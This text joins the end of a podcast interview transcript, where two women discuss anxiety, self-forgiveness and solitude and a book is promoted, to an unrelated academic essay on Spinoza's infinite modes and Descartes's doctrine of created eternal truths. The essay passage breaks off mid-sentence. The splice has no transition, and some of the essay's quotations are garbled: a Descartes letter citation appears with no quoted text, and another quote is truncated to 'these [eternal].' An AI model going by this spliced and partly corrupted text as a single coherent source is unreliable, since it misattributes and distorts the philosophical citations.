actually going to come to fruition and be the catastrophe. It turned out that out of those the latest one is coronavirus, but everyone is rising to meet it. Everyone is taking the actions that are necessary, and that’s the sense that I’m growing into. And maybe it’s just getting older and just feeling like, Okay. I’ll be told what to do, and I’ll do it. Then, if it’s my time to die, I’ll die. That’s also one of the things that could happen. Jen: It can happen. And conversely, I have spent a great amount of time worrying, catastrophizing, planning for, and trying to control outcomes of crises that never came. What good is this? What good is this? Liz: Or the crises came and all that preparation didn’t turn out to be what you need. Jen: Yes. 100 percent. Liz: There’s a sense of, “Let’s take this by moment, by moment, by moment,” and that maybe is the only way to do it so that you don’t lose your entire life to the stranglehold of anxiety. Jen: Hear, hear. All right. I’m going to ask you three final questions. These are little questions that we are kind of asking everybody in this Fierce series, and they’re just kind of off the top of your head, whatever you sort of think of first. Here’s the first one. What would you say—and it’s maybe hard to pick, but you can pick one—what’s the biggest lie you’ve stopped believing about yourself? Liz: That I’m unforgivable. Jen: Oh wow. Liz: I have just dragged myself behind the truck for years. Anytime that I’ve ever hurt anybody or any time that I’ve ever made mistakes in my life, I’m so hard on myself. I think that I’m not deserving of mercy is probably the biggest lie that I’ve almost entirely let go off. Every once in a while it still comes up. I’m like, Wow. You’re still there? Okay. I’ve got to love you away. Yeah. That would be it. Jen: Thank you for saying that. I don’t know if I’ve ever heard anybody say that just that plainly. That really served me today. How about this? What is the most freeing, most life giving truth that you’ve learned about yourself? Kind of the flip side. Liz: That my being can become a home for love itself, that I’ve been practicing. I have a very devoted practice of writing letters to myself every day from love. And it’s worked. Jen: It’s so powerful. Liz: And I really can be the thing I want to be. What I really want to be is love, in every room that I step into, so that if I’m in a room, I want it to be known that love is in the room. If I’m the only one in the room, then clearly the one who needs to be loved is that one. Love will even be in a room if I’m alone in it. Yeah. Jen: I love that so much. I will tell you sincerely that is how I experience you. I do. That’s how I experience you from afar. Liz: Thanks, honey. Jen: That just walks right in the door with you. Whatever door it is, whatever room it is, however panicky and grabby the room wants to be, you walk in with love with you. That’s exactly how I experience your leadership and just your life. Here’s the last question. Actually, the first time I ever heard this question, it was from one of my favorite spiritual practitioners. Her name is Barbara Brown Taylor, and she asked this question. By all means, answer this however you want. This could be as earnest as the world, or it could be as silly as the day is long. This is just completely up to you, but her question is, “What is saving your life right now?” Liz: Solitude. Jen: Yeah! It means something that you just said that. It really does. That means something right now. Liz: Yeah. It really is. I am so grateful. Somebody asked me recently, “What is your most prized possession,” and I said, “My quiet morning hours alone.” I don’t think I ever realized how much of that I need. I’ve always suspected that I was an introvert trapped in an extrovert’s body. But yeah, solitude, and especially now at this moment of crisis, I’m so grateful that I don’t have a partner. I’m so grateful that I don’t have anybody else who I need to be stabilizing right now. I just can wake up in my isolation, stabilize myself, ask her what she needs, take care of her, make the decisions that need to be made, and then from there I can give forth into the world. Yeah, solitude. Boy, my twenty year old self is like, “What?! Us? Really? That’s who we’re going to grow up and be?” It’s like, “Yup. That’s who we’re going to grow up and be.” Jen: That’s it. Okay. I just want to really say to you, Liz, that I am grateful for you. Sincerely, thank you for being who you are and for how you have shown up in this world. It has meant so much to me. You were a mentor and a teacher to me when I needed one, and you still are. Just thank you for being exactly who you are, and thank you for giving yourself to my community today. I know this is going to serve them so well, and I just want you to know that I am 100 percent and forever Team Liz forever, on your side, and just cheering for you. Liz: And I’m Team Jen, and I’m team every single one of you out there. Team Freedom, Team Love, and Team Serenity. Jen: Me too. Liz: That’s who we all work for. Jen: That’s who we work for. Awesome. Thank you, Liz. Liz: Thanks, angel. Take care. Jen: You too. Well, well. How do you like them apples? Isn’t that a wonderful conversation to just get to listen in to? To have that kind of leadership in our lives that is so generous, so kind hearted, so gentle, so charitable, I just feel my blood pressure drop around Liz. I just feel it. All these things that I load up on my own shoulders, she just very gently takes them off one at a time. I’m inspired yet again. I’m grateful to have such a wonderful voice on this series in support of Fierce, Free, and Full of Fire. I hope it has served you well. I hope this series has served you well. I hope this book serves you well. It’s just now out, and I want to put it in your hands. I want to serve you and love you through these words and put these tools into place for you to kind of walk us all out into the sunshine. Honestly, that’s it. It’s everywhere books are sold right now, and it’s the book of my life and definitely the book of my heart. It’s everything I’ve ever learned, experienced, and discovered on a path to freedom. Every single thing. I want it for you too. Fierce, Free, and Full of Fire is available everywhere, and I hope this whole series has been a joy to you. If you missed even a single episode of this series on the podcast, go back and pick it up. Every one of them is solid gold. And so are you, podcast community. I’m so thankful that here we still are right in the middle of this weird world, but we can still come to you week after week. We love you, and it’s just our joy to serve you well. On behalf of Laura, our producer, and her amazing crew, and then Amanda and I on our side of things, we just love you and it’s our delight to bring you this show. Thank you for being such loyal, incredible listeners. See you next week.

Some elements of Spinoza’s system are recognized to be integral to it, even if it is unclear what, precisely, those elements are. The modes ‘which exist necessarily and are infinite’ (E1p23), or the ‘things which are infinite by virtue of their cause’ (Ep. 12, G IV.53),1 are among these elements. Passages explicitly mentioning what have come to be called the ‘infinite modes’ are few, the demonstrations in the Ethics concerning them are some of the most abstruse in a book full of hard-to-follow arguments, and the clarifications Spinoza provides in his correspondence are obscure and exasperatingly brief.2 Nevertheless, there is consensus that there are two basic kinds of modes, infinite modes and finite modes, and that the former supply a causal link between the one infinite, eternal, necessarily existing substance and the more familiar world of finite modes. Without the link, it looks like Spinoza’s system is inconsistent. Spinoza says that finite things come to be from other finite things (E1p28), but he also says that the one infinite, eternal, necessarily existing substance causes modes that are infinite, eternal, and necessary (E1p21–23). The one substance, God, is the cause of all things (E1p18). How can that be the case if God causes what is infinite, but what is finite is caused by what is finite?3 Scholars have answered this question in a variety of ways. Some propose that infinite modes are features of reality described by laws of nature. Finite things and these infinite modes are each necessary, but only jointly sufficient, for the coming to be of finite things; God is the cause of finite things because God causes these infinite modes.4 Others argue that while some infinite modes are pervasive, general features of reality5 (and perhaps other infinite modes are the ‘formal essences’ of finite things),6 a different infinite mode supplies the needed causal link between God and things: finite things are caused by God in virtue of being parts (or perhaps modes) of the infinite mode that is the entire series of finite things taken together.7 Some hold that the infinite modes are to be found in a hierarchy of being that goes from the infinite cause, God, through infinite modes, to finite effects.8 Besides the view that infinite modes causally link God and finite things, another prevalent assumption about infinite modes is that whatever they are, Spinoza invented them. Yitzhak Melamed, for example, writes that the notion of an infinite mode ‘is probably the only Spinozist concept that has no equivalent among his predecessors or contemporaries’ (2013: 113. Cf. Martin 2008: 500). While Spinoza’s concepts attribute, substance, and mode are new models of old concepts, the concept infinite mode is often thought to lack a precursor.9 It is undeniable that there is a sense in which these entities are original to Spinoza. That God should have any modes at all is a new claim, since many of Spinoza’s predecessors and contemporaries would not have accepted that God has modes, let alone eternal, necessary modes. Modes were often thought to be impermanent.10 Yet in another sense, the infinite modes do have a precursor: namely, Descartes’s concept of an eternal truth freely created by God. Others have pointed out that for Spinoza, essences—at least ‘formal essences’—are eternal, even ‘eternal truths.’11 Since essences are caused by God (E1p25), scholars who think that those formal essences, or eternal truths, are infinite modes12 might be amenable to the suggestion that the ‘infinite modes’ are descendants of the Cartesian eternal truths. What has not been investigated, however, is how the ‘infinite mode’ propositions E1p21–23 might figure in a critical response to Descartes’s doctrine that God creates eternal, necessary truths (henceforth the Creation Doctrine). I take up that task here and attempt to show that more of the arguments between E1p15 and E1p25 involve criticisms of, as well as corrections to, the Creation Doctrine than has been appreciated. E1p21–23 are central to this response.13 Before I say more about my aims for this essay, it will be helpful to have the Creation Doctrine in view. According to Descartes, God does not just freely create contingent, durational existents, but also necessary, eternal truths, including ‘true and immutable natures.’14 In Descartes’s own words, You … ask what necessitated God to create these truths; and I reply that he was free to make it not true at all that the radii of the circle are equal—just as free as he was not to create the world. (Letter to Mersenne, 27 May 1630, AT I.152) I turn to the difficulty of conceiving how God would have been acting freely and indifferently if he had made it false that the three angles of a triangle were equal to two right angles, or in general that contradictories could not be true together. It is easy to dispel this difficulty by considering that the power of God cannot have any limits. (Letter to Mesland, 2 May 1644, AT IV.118)15. (Letter to Arnauld, 29 July 1648, AT V.224) That God’s will was free does not prevent these truths from being necessary truths. God did not just will that it be true that triangles have three sides; he also willed—efficaciously—that this truth be necessary.16 Most scholarly literature on Descartes’s doctrine focuses on modal metaphysics. Some commentators have concluded that the necessity of the eternal truths is mere conceptual or epistemic necessity, not metaphysical necessity.17 However, a view according to which there is no metaphysical necessity—but instead a ‘universal possibilism’18—looks to be in tension with some central Cartesian claims,19 so other scholars have sought alternatives. Curley, for example, suggests the eternal truths are necessary, albeit not necessarily necessary.20 God’s will is free because it was not necessitated to create the eternal truths. Nevertheless, the truths God wills to be necessary are necessary, although their necessity requires the assumption of God’s free creation of them as necessary. They are thus not absolutely necessary.21 What scholarly literature there is on Spinoza’s response to the Creation Doctrine centers on his rejection of Descartes’s views of divine freedom, the divine will, and necessity.22 That is, for Spinoza, all things necessarily follow from God’s necessarily existing nature (E1p11, E1p16); all things ‘have necessarily flowed … by the same necessity and in the same way as from the nature of a triangle it follows … that its three angles are equal to two right angles’ (E1p17s). There is nothing contingent in nature (E1p29). And to suppose that there is a sense in which any of God’s effects could have been otherwise is to suppose, absurdly, that God’s essence could have been other than it is (E1p29d, E1p33s2). Nevertheless, for Spinoza, God’s activity is perfectly free: freedom is to exist and act from the necessity of one’s own nature alone (E1d7, E1p17c2). Spinoza also departs from Descartes in insisting that intellect and will cannot be properly attributed to God as the ultimate source of reality.23 ‘An actual intellect, whether finite or infinite, like will, desire, love, and the like, must be referred to natura naturata, not to natura naturans’ (E1p31). In other words, intellect and will must be understood as modes, or effects of God’s causal activity, and not ‘such attributes of substance as express an infinite and eternal essence, that is (by E1p14c1 and E1p17c2), God, insofar as he is considered as a free cause’ (E1p29s). Some scholars have observed that Spinoza’s response to Descartes’s view of divine activity is not wholly negative: the ‘opinion, which subjects all things to a certain indifferent will of God, and makes all things depend on his good pleasure’ (E1p33s) is ‘nearer to the truth’ than the opinion ‘of those who maintain that God does all things for the sake of the good’ (E1p32s2).24 For Descartes, God’s infinite will counts as ‘indifferent’ when nothing determines it to affirm in the way it does.25 For Spinoza, God’s action is neither compelled nor prompted (E1p17, E1p17c1). To hold that God acts for the sake of the good would be objectionable to both Descartes and Spinoza because it seems to put an external constraint on the expression of God’s power.26 I want to call attention to another point of agreement. Despite differences in their views of God and causation,27 Spinoza and Descartes both hold that some of the things God causes are both eternal and necessary: for Descartes, the eternal truths and true and immutable natures; for Spinoza, the modes that are ‘infinite and eternal’ and ‘exist necessarily’ (E1p21–23). As just mentioned, scholars have read stretches of Part I, particularly E1p17s, as involving criticisms of the notions of divine freedom, necessity, intellect, and will figuring in Descartes’s Creation Doctrine. My starting question is whether Spinoza could have discerned other shortcomings of the Creation Doctrine. Can the ‘infinite mode’ propositions be understood as part of Spinoza’s attempt to provide a better account of God’s causation of eternal and necessary things? The rest of the essay proceeds as follows. In Section II, I present a series of issues, besides the more familiar issues concerning modality and divine freedom, that are unclear, unresolved, or problematic in Descartes’s discussion of God’s creation of eternal truths. Some questions that can be asked of Descartes concern the range of the Creation Doctrine: does God freely cause all eternal, necessary truths? Does the Creation Doctrine really make room for any non-necessary truths? Other questions concern the ontology of the eternal truths and true and immutable natures. What sort of reality do these creations enjoy and where are they? I will not say much about whether, or how, Descartes himself might answer these questions. Instead, I argue in Sections III and IV that passages in the Ethics, from E1p16 through the ‘infinite mode’ propositions E1p21–23, make clear how Spinoza would answer analogous questions in his own system. In Section IV, I provide a reconstruction of the hard-to-follow demonstrations of E1p21–23. On my reading, the entities under discussion in E1p21–23 do not constitute a special subclass of God’s modes—rather, the point Spinoza seeks to establish in those propositions is that each and every effect of an infinite and eternal God is an infinite and eternal mode. For Spinoza, all of an infinite and eternal God’s effects are true and immutable natures or eternal truths, and these effects are modes of God. Although I think this take on the ‘infinite modes’ makes sense against the backdrop of the Creation Doctrine and its difficulties, I acknowledge that it does raise big questions. Importantly, if we understand E1p21–23 as I do, then there cannot be the kind of special infinite mode (or set of infinite modes) that other interpreters have invoked to rescue Spinoza from inconsistency. No infinite mode can serve as a causal link between the infinite and eternal God and things with ‘finite and determinate existence’ (E1p28).28 But if the infinite and eternal God cannot be understood as the cause of the finite, non-eternal things of E1p28, then how can Spinoza coherently insist that God is the cause of all things? In the concluding Section V, after addressing one textual worry, I briefly sketch how I think Spinoza avoids inconsistency. When confronted with Descartes’s Creation Doctrine, other questions, besides those concerning modality, come to mind. Does God cause every eternal truth, or are there some uncreated, or uncaused, eternal truths? Are laws of motion created eternal truths? Is the Creation Doctrine consistent with Descartes’s insistence that not all truths are necessary? And how are we to understand the reality these creations enjoy? In his 15 April 1630 letter to Mersenne, the eternal truths Descartes mentions are those ‘mathematical truths you [Mersenne] call eternal’ (AT I.145). In the next letter to Mersenne, Descartes offers a specific example: the Euclidean common notion, the whole is greater than its part (AT I.151).29 A longer list of eternal truths appears in the Principles. In addition to mathematical and geometrical truths, the class of eternal truths includes logical truths like it is impossible for the same thing to be and not to be at the same time, conceptual truths like he who thinks cannot but exist while he thinks, and (synthetic) a priori truths like what is done cannot be undone and nothing comes from nothing. Descartes does not give more specific examples here, and even says no additional examples need be supplied: so long as one is not blinded by preconceptions [nullis praejudiciis excaecamur], one will recognize eternal truths as eternal truths when one reflects on them (AT VIIIA.23–24; cf. AT VII.135). A first question regarding the range of the Creation Doctrine is whether it is so unrestricted that even truths about God fall under its scope.30 Sometimes Descartes implies that although truths concerning God’s nature are especially secure and must be true in any alternative scenario, such eternal truths are outside the scope of the Creation Doctrine. As Descartes writes to Mersenne, You ask also what necessitated God to create these [eternal]. (27 May 1630, AT I.152) God’s essence is an eternal truth (letter to Mersenne, 6 May 1630, AT I.150). Truths concerning God’s essence are necessarily ‘attached to God’s essence,’ so these truths are necessary, but not because they are created eternal truths God willed to be necessary.31 However, according to other passages, the Creation Doctrine looks completely unrestricted: all truths are the efficient causal effects of God’s free and indifferent will. In the Sixth Replies, Descartes writes, it is contradictory [repugnat] to suppose that the will of God was not indifferent from eternity with respect to everything which has happened or will ever happen; for it is impossible to suppose that anything is thought of in the divine intellect as good or true, or worthy of belief or action or omission, prior to the decision of the divine will to make it so. I am not speaking here of temporal priority: I mean that there is not even any priority of order, or nature, or of ‘rationally determined reason’ as they call it, such that God’s idea of the good impelled him to choose one thing rather than another. (AT VII.431–432)32 God’s indifferent will is indifferent because it is not conditioned by any antecedent ideas. The passage just quoted suggests there is no idea, no truth, in the divine intellect prior to God’s act of will—perhaps not even an idea, or truth, about God’s own essence and existence.33 A second question regarding the range of the Creation Doctrine is whether Descartes’s laws of motion—his law of inertia, law of rectilinear motion, and law governing the transfer of motion at collision—count among the eternal truths created by God.34 Although Descartes does not name the laws of motion on his lists of eternal truths, one might think that he means to include them. For example, in The Treatise on Light, Descartes says the mathematical eternal truths and his laws of motion are such that we ‘cannot but judge them to be infallible when we conceive them distinctly, nor doubt that if God had created several worlds, they would be as true in all of them as they are in this one’ (AT XI.47. Cf. AT VI.43). The modal status of the mathematical truths and the laws of motion appear to be the same, which might lead one to think that their etiology is the same: they are all eternal truths that are not ‘necessarily attached’ to God’s essence, but are rather those created by God. Furthermore, Descartes includes motion in the Fifth Meditation discussion of the ‘true and immutable’ natures, or ‘immutable and eternal’ essences: ‘There are countless particular features regarding shape, number, motion, and so on, which I perceive when I give them my attention’ (AT VII.63–64, my emphasis). Fundamental laws describing how motion must be appear to be grouped with eternal truths about geometry and mathematics (see also Principles II, article 64, AT VIIIA.78–79). But there is also evidence to suggest that we should not classify the laws of motion as created eternal truths.35 In the Principles, Descartes elucidates the nature or essence of motion before he ‘proves’ the laws of motion. The nature of motion is ‘the transfer of one piece of matter, or one body, from the vicinity of the other bodies which are in immediate contact with it, and which are regarded as being at rest, to the vicinity of other bodies’ (AT VIIIA.53). According to Descartes, the essences of things are eternal truths (letter to Mersenne, 27 May 1630, AT I.152).36 This suggests that the eternal truths concerning motion are not the laws of motion (which are presented as part of a discussion of the primary cause of motion, God), but rather truths like there is no motion without translation or there is no motion in a universe with only one body.37 There is another apparent difference between the eternal truths and the laws of motion. Consider Descartes’s proof of the law that if a moving body A collides with another body B, and A’s power of continuing in a straight line is greater than the resistance of B, then A carries B along with it and loses a quantity of motion equal to what it imparts to B (AT VIIIA.65). This is proven not by appealing to a timeless divine decree, but rather by appealing to the ‘immutability of the workings of God,’ God’s conservation of the world ‘by the selfsame activity by which he once created it’:38 …. since he conserves the world by the selfsame activity and in accordance with the selfsame laws as when he created it, he … conserve[s] motion as something which is mutually transferred when collisions occur. (AT VIIIA.66) Bodies always have moved and always will move in certain ways because God continually acts in the same way. The mathematical eternal truths, in contrast, are not true because God is conserving anything: it is sufficient for God to simply create the eternal truths.39 It also seems the eternal truths are truths about essential properties of extension, while laws of motion are not.40 One cannot conceive of a wooden block unless one conceives of it as six-sided and as capable of motion, but one need not conceive of the block as actually in motion, or indeed as moving in ways required by Cartesian laws of motion.41 One can also ask a third question: can Descartes even treat the eternal, necessary truths created by God as a special subclass of truths? Descartes does not want all truths to be eternal, necessary truths, but on one (at least initially attractive) way of reading the Creation Doctrine, it is hard to see how he can avoid saying that all truths are necessary. In his 15 April 1630 letter to Mersenne, Descartes writes, It will be said that if God had established these truths he could change them as a king changes his laws. To this the answer is: Yes, he can, if his will can change. ‘But I understand them to be eternal and immutable.’ —I make the same judgment about God. ‘But his will is free.’ —Yes, but his power is incomprehensible. (AT I.145–146; cf. AT V.166, AT VII.380) Here we seem to get an explanation of the necessity of the eternal truths: they are necessarily true because they are created by God’s immutable will.42 As Menn puts it, ‘because God is immutable in his actions as well as his being, what he establishes as true at any moment he will establish as true at every moment’43 (2002: 352). Kaufman (2005) has dubbed this common interpretation the ‘Immutability Interpretation,’ and observes that the premises 1) God wills the eternal truths and 2) God’s will is immutable only yield the conclusion 3) the eternal truths are immutable if we assume that if God’s omnipotent will is immutable, effects of that will are also immutable.44 Immutability is not equivalent to necessity, however, so yet another principle linking immutability to necessity needs to be assumed: for any x, if x is immutable, then x is necessary (2005: 7). Although this explains the necessity of the eternal truths, Kaufman argues that it only does so at the cost of necessitarianism. The following is why necessitarianism is a risk. For Descartes, all things are effects of the immutable divine will: ‘there is always a single identical and perfectly simple act by means of which [God] simultaneously understands, wills, and accomplishes everything. When I say “everything” I mean all things’ (Principles I.23, AT VIIIA.14). Indeed, God would not be supremely perfect if anything could happen in the world without coming entirely from him …. philosophy by itself is able to discover that the slightest thought could not enter into a person’s mind without God’s willing, and having willed from all eternity, that it should so enter.45 (Letter to Elisabeth, 6 October 1645, AT IV.314) Furthermore, God does not change his immutable will in response to petitionary prayers: we pray ‘simply to obtain whatever he has, from all eternity, willed to be obtained by our prayers’ (AT IV 315–316; cf. Conversation with Burman, AT V.66). The truths concerning particular human actions, thoughts, and prayers could be immutable effects of an immutable will if they are indexed or ordered: God’s providence would then be God’s eternally and immutably willing an infinity of, say, temporally indexed truths. If, however, we assume the principle that immutable truths are necessary truths, then those indexed immutable truths turn out to be necessary truths.46 And so a potential tension in the Cartesian system shows itself. If we adopt an (at least initially plausible) interpretation of the foundations of the necessity of the eternal truths, then it looks like Descartes is committed to all truths being necessary truths, a conclusion that conflicts with his assertions that some truths are contingent.47 In the Fifth Meditation, Descartes points to two kinds of eternal entities. First, there is essentially eternally existing God: ‘it is quite evident that existence can no more be separated from the essence of God than the fact that its three angles equal two right angles can be separated from the essence of a triangle (AT VII.66). And, the Meditator says later, ‘after supposing that one God exists, I plainly see that it is necessary that he has existed from eternity and will remain [sit mansurus] for eternity’ (AT VII.68).48 Second, there are true and immutable natures: … I find within me innumerable ideas of things that even though they may not exist anywhere outside me, nonetheless cannot be called nothing; and although they can be thought in some manner at will, nonetheless they are not made by me [a me figuntur], but have their own true and immutable natures. Thus when, for example, I imagine a triangle, even if perhaps no such figure exists, or has ever existed, anywhere outside my thought, there is still some determinate nature, or essence, or form, immutable and eternal, which is not produced by me [a me non effecta est], nor depends on my mind [nec a mente mea dependet]. (AT VII.64) Here Descartes distinguishes the true and immutable nature of a triangle and actual triangles in the world; the true and immutable nature is still something, even if there are no actual triangles (or no extra-mental extended world at all). But it also seems the nature does not exist only in the Meditator’s mind: this true and immutable nature is not produced by or dependent on his mind. True and immutable natures are eternal truths (AT I.152). One could read this passage as evidence that Descartes was a sort of Platonist: God’s eternal, necessary effects reside in a kind of (created) Platonic realm.49 The exchange with Gassendi might also be taken as evidence of Descartes’s Platonism. In the Fifth Objections, Gassendi reveals that he takes the Fifth Meditation to concern entities with reality apart from human minds, as he objects to there being any true and immutable natures apart from God (AT VII.319).50 Descartes does not contest this reading of the Fifth Meditation. That Descartes does not correct Gassendi suggests that Descartes was thinking of the true and immutable natures as having reality outside of human minds (AT VII.380).51 Elsewhere, however, Descartes’s view looks less Platonic.52 Consider Principles I.49: When we recognize that it is not possible that something come from nothing, this proposition, nothing comes from nothing, is considered not as some existing thing, nor also as a mode of a thing, but as some eternal truth, which resides in our mind… (AT VIIIA.23–24; cf. Principles I.59, AT VIIIA.27–28) Here Descartes could be read as implying that eternal truths exist only in human minds.53 They are not things enjoying either eternal or non-eternal extra-mental existence, nor are they modes of extra-mental things. Indeed, it is possible to read the Fifth Meditation passage quoted above differently so that it does not sound so Platonic. Perhaps eternal truths and true and immutable natures are just the objectively real representational contents of innate ideas that only exist in human minds. Granted, there is a sense in which an innate idea does depend on the Meditator’s mind: anything that is objectively real depends on a mind in that objective reality is the reality ‘by which a thing exists in the intellect by way of an idea’ (AT VII.41). However, there is a distinction between ideas whose contents can be constructed and altered by the Meditator’s mind—‘factitious’ ideas like those of hippogriffs and sirens—and innate ideas whose contents are unalterable by the Meditator (AT VII.37–38). Both factitious and innate ideas can be thought of ‘in some way at will,’ but innate ideas cannot be modified at will.54 So the true and immutable nature of a triangle, as the content of an innate idea, can be thought of at will and is, as an objectively real object, ‘not nothing’ (AT VII.41, AT VII.65), but it is not dependent on the Meditator’s mind in the sense that the Meditator did not construct that content. However, it cannot be that all true and immutable natures are such that they are only the objectively real contents of innate ideas: the true and immutable nature of God is an objectively real object of an innate idea in the Meditator’s mind, but it is also a formally real something—that is, God himself—existing outside of the Meditator’s mind.55 Some commentators, recognizing that Descartes’s texts pull in different directions, have suggested that perhaps Descartes subscribed to a ‘moderate’ Platonism: the eternal truths are created by God and external to human minds, but these truths are not external to God. These eternal truths can be understood as in the divine mind as objectively real contents of divine decrees.56 They can still count as products of God’s causal activity, as a formally real mind can cause the objective reality of ideas within that mind (see AT VII.43–45). But such moderate Platonic readings might not fit with Descartes’s claims that eternal truths are distinct from God.57 Descartes says the eternal truths ‘are no more necessarily attached to [God’s] essence than are other created things’ (AT I.152); if eternal truths and true and immutable natures are in the divine mind, then they do seem more attached to God than ‘other created things.’ According to Descartes, God’s effects are diversified: some effects are non-eternal and non-necessary, others are eternal and necessary. But with diversification come questions. Questions of which eternal truths are to be explained by the Creation Doctrine arise because it seems not everything that is eternal and necessary is eternal and necessary for the same reason. As I explained above, even if some eternal, necessary truths depend on the creative activity of God’s free and indifferent will, it looks like truths about God’s nature are eternal and necessary because they are propria following with necessity from the divine essence. And laws of nature might seem to presuppose, in a way other eternal, necessary truths do not, the immutability of divine causation. However, there is a worry that if immutability is the source of all necessity, then all truths are necessary. Questions about ontological status also arise: if one emphasizes the eternality of eternal truths, then it becomes harder to understand the sense in which they are distinct from God, but if one emphasizes their distinctness from God, it becomes harder to understand the sense in which they are eternal (and not just part of the non-eternal world).58 It is accepted that the Creation Doctrine is in the background of what Spinoza says in E1p17 and its scholium.59 In the next two sections, I suggest that other texts in that same stretch of the Ethics can also be read as composed with Descartes’s Creation Doctrine—and the questions it raises—in mind. I argue that Spinoza offers a radically simple alternative account of God’s free causal activity: an eternal and infinite God’s effects cannot be diversified in the ways Descartes thought they could be. To begin, consider E1p16: ‘From the necessity of the divine nature there must follow infinitely many things in infinitely many modes [modus] (i.e., everything which can fall under an infinite intellect).’ Setting aside the terminology of mode, it is first worth noting that this proposition echoes a passage in Descartes’s 6 May 1630 letter to Mersenne: ‘The existence of God is the first and the most eternal of all possible truths and the one from which alone all others proceed’ (AT I.150, my emphasis). Descartes goes on to say that ‘the eternal truths are no more necessarily attached to [God’s] essence than are other created things’ (27 May 1630), a statement which, as I sketched in Section II.1, can be taken to indicate that certain eternal truths—that is, truths that are necessary consequences of God’s necessarily existing essence—are not caused by God. E1p16 removes any question of where Spinoza might stand on the issue. Everything is ‘necessarily attached’ to God’s essence: everything follows with necessity from God’s essence as propria of God’s essence. But that there is such necessary attachment does not mean that God is not a cause of these things (E1p16c1–3).60 It also does not mean that God’s causation is not free—rather, for Spinoza, having all of one’s effects necessitated by one’s own nature alone is the epitome of free action (E1def7, E1p17c2). So it is clear that necessary truths about God’s own nature are, for Spinoza, caused by God. Indeed, all truths—‘whatever can fall under an infinite intellect’—are caused by God. We thus have Spinoza’s answer to Question 1. All truths includes necessary truths concerning the motion of bodies (e.g., the lemmata in the ‘Physical Digression’ after E2p13), so these truths are also caused by God.61 And so we have Spinoza’s answer to Question 2. In E1p33s2, Spinoza even says that the non-Spinozistic (presumably Cartesian) freedom others attribute to God is a great ‘obstacle’ [obstaculum] to scientia. It is not clear what sort of obstacle Spinoza has in mind here, or whether scientia is to be taken to be demonstrative knowledge from first principles or the kind of certain knowledge Descartes thinks we can have once we know that a benevolent God is the creator of our nature. Perhaps the obstacle is an obstacle to scientia taken in the first sense. Descartes sometimes appears to suggest that mathematical laws are freely created eternal truths but laws of physics are not; the laws of physics are necessary consequences of God’s immutable, necessarily existing nature, but God could have created different mathematical laws—God ‘was free to make it not true at all that the radii of the circle are equal’ (AT I.152). Depending on one’s understanding of the modal status of Cartesian eternal truths, one could think that laws of physics are thus more necessary than laws of mathematics. But one might also think that this is a mistake: if there are grades of necessity, the laws of mathematics are the more necessary laws.62 Or one could think it is a mistake to think there are grades of necessity at all: laws of physics and laws of mathematics are equally inexorable. Perhaps the hope of systematic, demonstrative science based on first principles is dashed if physics is thought to be more necessary than math, or if it is thought that there are grades of necessity. Perhaps these mistaken thoughts lead to more mistaken thoughts about which principles are the ‘first principles,’ or how demonstrations are to proceed. We can also see why Spinoza might have thought Descartes’s take on divine freedom is an obstacle to scientia, taken in the second (Cartesian) sense as the greatest certainty. Descartes argued that once a person knows a benevolent God exists and is the creator of her nature, she can be certain that she is not deceived in the things that seem most evident to her; she can know that her clear and distinct ideas are true. A benevolent God would not have created her with a deceptive nature.63 But if the essences of things—including the essence of the human mind—are eternal truths created by the perfectly indifferent will of God (letter to Mersenne, 27 May 1630, AT I.152), then it seems there is no antecedent reason why God created human minds with one kind of nature rather than another.64 How, then, can Descartes consistently say that considerations of goodness guided God’s creation of human nature?65 Spinoza is concerned to argue that all of God’s effects are necessary. It is not controversial to attribute this argumentative aim to Spinoza, since most scholars take Spinoza’s statements that ‘in nature there is nothing contingent’ (E1p29) and ‘things could have been produced by God in no other way, and in no other order than they have been produced’ (E1p33) to be avowals of necessitarianism: if all things follow with necessity from the necessarily existing divine nature, then there cannot be a bifurcation of divine effects into some that are necessary and some that are not. So the answer to Question 3 is an easy one: Spinoza thinks all truths are necessary. However, I do not think Spinoza merely wants to establish that there are no contingent truths and no unactualized possibilia. That is a thesis merely about the modal status of effects, and is consistent with some of an eternal God’s necessary effects being non-eternal.66 I think Spinoza also wants to conclude that all of an eternal God’s effects are real in the non-temporal way eternal truths or true and immutable natures are real. A first passage to consider is E1p17s: I have shown clearly enough (E1p16) that from God’s supreme power, that is, infinite nature, infinitely many things in infinitely many ways [modis], that is, all things, have necessarily flowed, or always follow, by the same necessity and in the same way as from the nature of a triangle it follows, from eternity and to eternity, that its three angles are equal to two right angles. So God’s omnipotence has been actual from eternity and will remain in the same actuality to eternity. And in this way, at least in my opinion, God’s omnipotence is maintained far more perfectly. (G II.62, my emphasis) Spinoza is drawing a parallel here between the essence of a triangle and the essence of God. Of course, it is only God’s nature that exists by nature (E1p11). But the cases are otherwise alike. God’s existence, ‘like the essence of a thing, is conceived as an eternal truth, and on that account cannot be explained by duration or time, even if the duration is conceived to be without beginning or end’ (E1def8).67 The essence of the triangle is also conceived as an eternal truth. Spinoza can expect his readers to readily agree that given the essence of a triangle, other truths necessarily follow; ‘by the same necessity and in the same way,’ Spinoza explains, everything follows from God’s essence. Commentators tend to emphasize the necessity of what follows from these natures. Note, however, that Spinoza does not just say that the necessity is the same: things follow ‘by the same necessity and in the same way.’ The italicized phrase might be argumentatively inert—but it is also possible that it is not. If not, what other feature of the following-from in the triangle case might Spinoza be pointing to? Here is a simple answer. In the triangle case, what follows from the true and immutable nature of the triangle is also an eternal truth; whatever reality the essence of the triangle enjoys is the same reality that these necessary consequences enjoy. Likewise, the reality the essence of God enjoys—‘existence itself,’ conceived ‘as an eternal truth’—is the reality that everything that follows from God’s essence enjoys. The reality of all of God’s effects is reality ‘conceived as an eternal truth.’ On the one hand, this makes sense: all of substance’s modes are modifications of substance’s eternal reality. A wrinkle in the carpet is carpet, so a mode of eternal reality is eternal reality. But on the other hand, one might complain that it cannot be right that all of an eternal God’s effects are eternal. After all, the things with ‘finite and determinate’ existence that Spinoza will mention in E1p28 are not eternal yet are still called ‘modes.’ All modes are caused by God. So Spinoza could not have meant that all of God’s effects are eternal. I will return to the question of how the entities described in E1p28 fit into Spinoza’s system at the end of the essay. For now, I want to see what happens if we do not adjust our understanding of E1p17s in light of this later passage. The first thing to note is that if we think Spinoza’s theorizing is guided by the Principle of Sufficient Reason, then we can expect Spinoza to argue that all of an eternal God’s effects must be eternally real. If the one and only substance, properly considered under any attribute, exists in a timelessly eternal way, what reason could there be for this eternal substance to cause some effects that are eternal and some effects that are non-eternal?68 Also note that if all of God’s effects are eternal truths, then a straightforward reading of Spinoza’s statement in E1p17s that God’s omnipotence has been ‘actual from eternity’ and will ‘remain in the same actuality to eternity’ becomes available. The ‘same actuality’ can be read as literally the same actuality: 